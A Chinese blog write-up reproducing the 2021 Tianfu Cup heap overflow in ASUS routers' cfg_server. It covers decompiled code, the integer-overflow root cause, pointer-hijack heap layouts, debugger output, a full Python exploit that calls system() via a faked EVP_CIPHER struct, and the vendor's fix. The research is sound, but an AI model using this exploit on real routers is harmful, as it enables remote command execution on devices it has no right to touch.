招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组
漏洞分析大作业需要分析一个堆溢出,正好想起来21年天府杯攻破华硕所利用的堆溢出一直没有复现,于是就复现了一下,并记录于此。
我手里有华硕的一个真机,不过是TUF-AX5400,型号是3.0.0.4.386_46061。这个版本中堆溢出漏洞已被修复,并且官网也无法下载到这个系列的存在漏洞的旧版本,于是我对cfg_server进行了patch,使其可以正常走到漏洞点,上传至设备中手动启动。
漏洞存在于cfg_server中,这个程序会监听7788端口。接收的数据包的格式类似TLV,即(Type-Length-Value),不过多了一个check字段来检查数据合法性。会根据Type,来选择相对应的处理函数。
当Type为0x28时,会进入cm_processREQ_GROUPID函数,这个函数中存在如下调用链cm_packetProcess->aes_decrypt,来解密接收到的数据。整数溢出漏洞就出现在aes_decrypt中(当然也有很多其他Type所对应的函数会调用这个函数)。它的定义如下:
char *__fastcall aes_decrypt(int key, int a2, unsigned int length, _DWORD *a4)
{
...
ctx = EVP_CIPHER_CTX_new();
if ( !ctx )
{
printf("%s(%d):Failed to EVP_CIPHER_CTX_new() !!\n", "aes_decrypt", 768);
return 0;
}
v9 = EVP_aes_256_ecb();
v10 = (char *)EVP_DecryptInit_ex(ctx, v9, 0, key, 0);
if ( v10 )
{
*a4 = 0;
v11 = EVP_CIPHER_CTX_block_size(ctx) + length;
v12 = (char *)malloc(v11);
v10 = v12;
if ( v12 )
{
memset(v12, 0, v11);
out_data_ptr = v10;
for ( i = length; ; i -= 0x10 )
{
in_data_ptr = a2 + length - i;
if ( i <= 0x10 )
break;
if ( !EVP_DecryptUpdate(ctx, out_data_ptr, tmp_out_len, in_data_ptr, 16) )
{
printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 795);
EVP_CIPHER_CTX_free(ctx);
free(v10);
return 0;
}
out_data_ptr += tmp_out_len[0];
*a4 += tmp_out_len[0];
}
if ( i )
{
if ( !EVP_DecryptUpdate(ctx, out_data_ptr, tmp_out_len, in_data_ptr, i) )
{
printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 811);
EVP_CIPHER_CTX_free(ctx);
free(v10);
return 0;
}
out_data_ptr += tmp_out_len[0];
*a4 += tmp_out_len[0];
}
if ( !EVP_DecryptFinal_ex(ctx, out_data_ptr, tmp_out_len) )
{
printf("%s(%d):Failed to EVP_DecryptFinal_ex()!!\n", "aes_decrypt", 822);
EVP_CIPHER_CTX_free(ctx);
free(v10);
return 0;
}
*a4 += tmp_out_len[0];
}
...
}
...
EVP_CIPHER_CTX_free(ctx);
return v10;
}
首先调用EVP_CIPHER_CTX_new为ctx结构体分配内存。下面就是对数据进行aes解密的过程。解密前会为数据分配内存,分配的大小是通过EVP_CIPHER_CTX_block_size(ctx) + length计算得出的,但是下面解密的时候循环次数又是由length控制。这里的length可以被我们控制,并且经过调试可以得知EVP_CIPHER_CTX_block_size(ctx)的值是0x10。如果我们控制length=0xffffffff就可以导致整数溢出。使得malloc在分配一块较小内存的同时,会拷贝很长的数据到堆上,从而导致堆溢出。检查check字段合法性的函数定义如下。
unsigned int __fastcall check(unsigned int result, char *a2, int a3)
{
char v3; // t1 while ( --a3 >= 0 )
{
v3 = *a2++;
result = CRC32_Table[(unsigned __int8)(v3 ^ result)] ^ (result >> 8);
}
return result;
}
我们控制length=0xffffffff,由于小于0,则会直接返回,也就是我们把check字段设置为0即可通过数据合法性检查。
可以溢出那么就寻找结构体指针,尝试控制程序执行流。参考了@CataLpa师傅
的文章和@CQ师傅
的文章。知道了有这两个可以劫持的地方。
首先看一下我们所涉及到的两个结构体:
typedef struct evp_cipher_ctx_st
{
const EVP_CIPHER *cipher;
ENGINE *engine;
int encrypt;
int buf_len;
unsigned char oiv[EVP_MAX_IV_LENGTH];
unsigned char iv[EVP_MAX_IV_LENGTH];
unsigned char buf[EVP_MAX_BLOCK_LENGTH];
int num;
void *app_data;
int key_len;
unsigned long flags;
void *cipher_data;
int final_used;
int block_mask;
unsigned char final[EVP_MAX_BLOCK_LENGTH];
} EVP_CIPHER_CTX; typedef struct evp_cipher_st
{
int nid;
int block_size;
int key_len;
int iv_len;
unsigned long flags;
int (*init)(EVP_CIPHER_CTX *ctx, const unsigned char *key, const unsigned char *iv, int enc);
int (*do_cipher)(EVP_CIPHER_CTX *ctx, unsigned char *out, const unsigned char *in, unsigned int inl);
int (*cleanup)(EVP_CIPHER_CTX *);
int ctx_size;
int (*set_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *);
int (*get_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *);
int (*ctrl)(EVP_CIPHER_CTX *, int type, int arg, void *ptr);
void *app_data;
}EVP_CIPHER;
一个是劫持EVP_CIPHER_CTX结构体中的cipher指针。在调用EVP_DecryptUpdate函数时,会调用cipher中的do_cipher来进行具体的解密。如果我们可以伪造一个EVP_CIPHER结构体,就可以实现控制程序的执行流。这个加密指针的调用伪代码如下:
v12 = *ctx;
(*(int (__fastcall **)(_DWORD *, char *, char *, int))(v12 + 0x18))(ctx, out, in, in_len);
我们想要实现这样的劫持需要控制堆布局如下:
| out_ptr |
|EVP_CIPHER_CTX|
也就是我们解密后存放的数据的缓冲区被分配在EVP_CIPHER_CTX结构体缓冲区之前,这样就可以覆盖EVP_CIPHER_CTX的cipher,实现对EVP_CIPHER的伪造,从而控制程序执行流。
还有一个是劫持解密函数中所涉及的指针。方法一说到调用EVP_DecryptUpdate函数时,会调用cipher中的do_cipher来进行具体的解密。进一步调试可知do_cipher的伪代码如下:
int __fastcall do_cipher(int ctx, int out, int in, unsigned int in_len)
{
unsigned int v8; // r6
int cipher_data; // r0
unsigned int v10; // r9
int v11; // r7
int v12; // r4
int v13; // r0 v8 = EVP_CIPHER_CTX_block_size(ctx);
cipher_data = EVP_CIPHER_CTX_get_cipher_data(ctx);
if ( v8 <= in_len )
{
v10 = in_len - v8;
v11 = cipher_data;
v12 = in;
do
{
v13 = v12;
v12 += v8;
(*(void (__fastcall **)(int, int, int))(v11 + 0xF8))(v13, out, v11);
out += v8;
}
while ( v10 >= v12 - in );
}
return 1;
}
int __fastcall EVP_CIPHER_CTX_get_cipher_data(int ctx)
{
return *(_DWORD *)(ctx + 0x60);
}
显而易见,这是先获取了EVP_CIPHER_CTX结构体偏移为0x60地方的cipher_data指针(指向某个结构体,用来存放加解密相关数据)。再调用这个结构体偏移为0xF8处的函数指针AES_decrypt。经过调试可知,cipher_data指针总是指向我们的堆上。如果我们可以覆盖cipher_data指针偏移为0xF8处的函数指针AES_decrypt。那么也可以实现程序执行流的控制。
我们想要实现这样的劫持需要控制堆布局如下:
| out_ptr |
| cipher_data |
|EVP_CIPHER_CTX|
或
|EVP_CIPHER_CTX|
| out_ptr |
| cipher_data |
即我们不能破坏EVP_CIPHER_CTX结构体,以免无法调用cipher中的do_cipher,同时需要可以覆盖到AES_decrypt。
我自己写exp的时候是尝试的第一种劫持方式。我构造出了如下布局:
► 0x1e6bc <aes_decrypt+260> bl #EVP_DecryptUpdate@plt <EVP_DecryptUpdate@plt>
ctx: 0xb6500978 —▸ 0xb6e9bb1c ◂— 0x1aa
out: 0xb6500760 ◂— 0x0
这里值得一提的是,虽然开了aslr基地址会变化,但是经过我调试发现堆基地址大概率是0xb6300000,0xb6400000,0xb6500000。(可能因为是多线程的缘故,会为新线程准备一个堆基地址,这个地址变化不大)。我就把0xb6500760当作了EVP_CIPHER结构体的开头。之后覆盖EVP_CIPHER_CTX结构体中的cipher为0xb6500760即可。之后我又遇到了一个问题,就是在调用这个函数指针时,它的第一个参数是EVP_CIPHER_CTX结构体指针。由于我们每次只解密16字节,并且在覆盖cipher之后就无法继续解密,使得我这种布局只可以EVP_CIPHER_CTX结构体指针后面的控制4字节为我们想要执行的命令,这远远无法实现命令执行。经过替换gadget之后,最后也只构造出控制8字节的方式,可以勉强执行个reboot或者echo 1(:triumph:。
0x528cc mov r0, r6
0x528d0 ldr r3, [r5, #4]
0x528d4 ldr r2, [sp, #0x38]
0x528d8 rev r1, r1
► 0x528dc blx r3 <system@plt>
command: 0xb6500970 ◂— 'echo 66'
而第二种劫持方式的第一个参数为in,应该可以控制相当长的数据。不过由于更改堆布局很麻烦,笔者也就没有进一步探究,感兴趣的读者可以自行尝试。
以下是笔者第一种劫持方式的exp。
import socket
import struct
from Crypto.Cipher import AESp32 = lambda x: struct.pack("<I", x)
p32b = lambda x: struct.pack(">I", x)
def aes_encode(data, key):
aes = AES.new(key, AES.MODE_ECB)
return aes.encrypt(data)
def make_tlv_request(_tlv_type, _tlv_len, _tlv_crc, _tlv_data=b""):
return p32b(_tlv_type) + p32b(_tlv_len) + p32b(_tlv_crc) + _tlv_data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.50.1", 7788))
tlv_type = 0x5
tlv_len = 0xffffffff
tlv_crc = 0
request = make_tlv_request(tlv_type, tlv_len, tlv_crc)
s.send(request)
s.close()
"""
.text:000528CC 06 00 A0 E1 MOV R0, R6
.text:000528D0 04 30 95 E5 LDR R3, [R5,#4]
.text:000528D4 38 20 9D E5 LDR R2, [SP,#0x38+arg_0]
.text:000528D8 31 1F BF E6 REV R1, R1
.text:000528DC 33 FF 2F E1 BLX R3
"""
gadget_add = 0x000528CC
system_plt = 0x00014754
# 0xb6500760: fake cipher
payload = p32(0x000001aa) + p32(0x00000010) + p32(0x00000020) + p32(0x00000000)
payload+= p32(0x00100000) + p32(0xb6e2f480) + p32(gadget_add) + p32(0x00000000)
payload+= p32(0x00000100) + p32(0x00000000) + p32(0x00000000)
payload = payload.ljust(0x210, b"a")
payload+= b"echo 66\x00"
payload = payload.ljust(0x218, b"a")
payload+= p32(0xb6500760)
payload+= p32(system_plt)
payload = payload.ljust(0x280, b"a")
tlv_type = 0x28
tlv_len = 0xffffffff
tlv_crc = 0
tlv_data = aes_encode(payload, b"12345678000000000000000000000000")
request = make_tlv_request(tlv_type, tlv_len, tlv_crc, tlv_data)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.50.1", 7788))
s.sendall(request)
s.close()
if ( v15 <= recv_len )
{
tlv_type = *tlv_buf;
tlv_len = tlv_buf[1];
tlv_crc = tlv_buf[2];
if ( recv_len - 12 != bswap32(tlv_len) )
{
...
return ;
在cm_packetProcess函数中,加入了对tlv_len的检查,即检查接收数据长度的减去12是否与tlv_len相等,不等则直接返回。这样就可以避免tlv_len被控制为一个很大的值,从而避免整数溢出。
https://wzt.ac.cn/2021/11/02/TFC2021-AX56U/
https://cq674350529.github.io/2023/08/05/Analyzing-the-Vulnerability-in-ASUS-Router-maybe-from-TFC2021/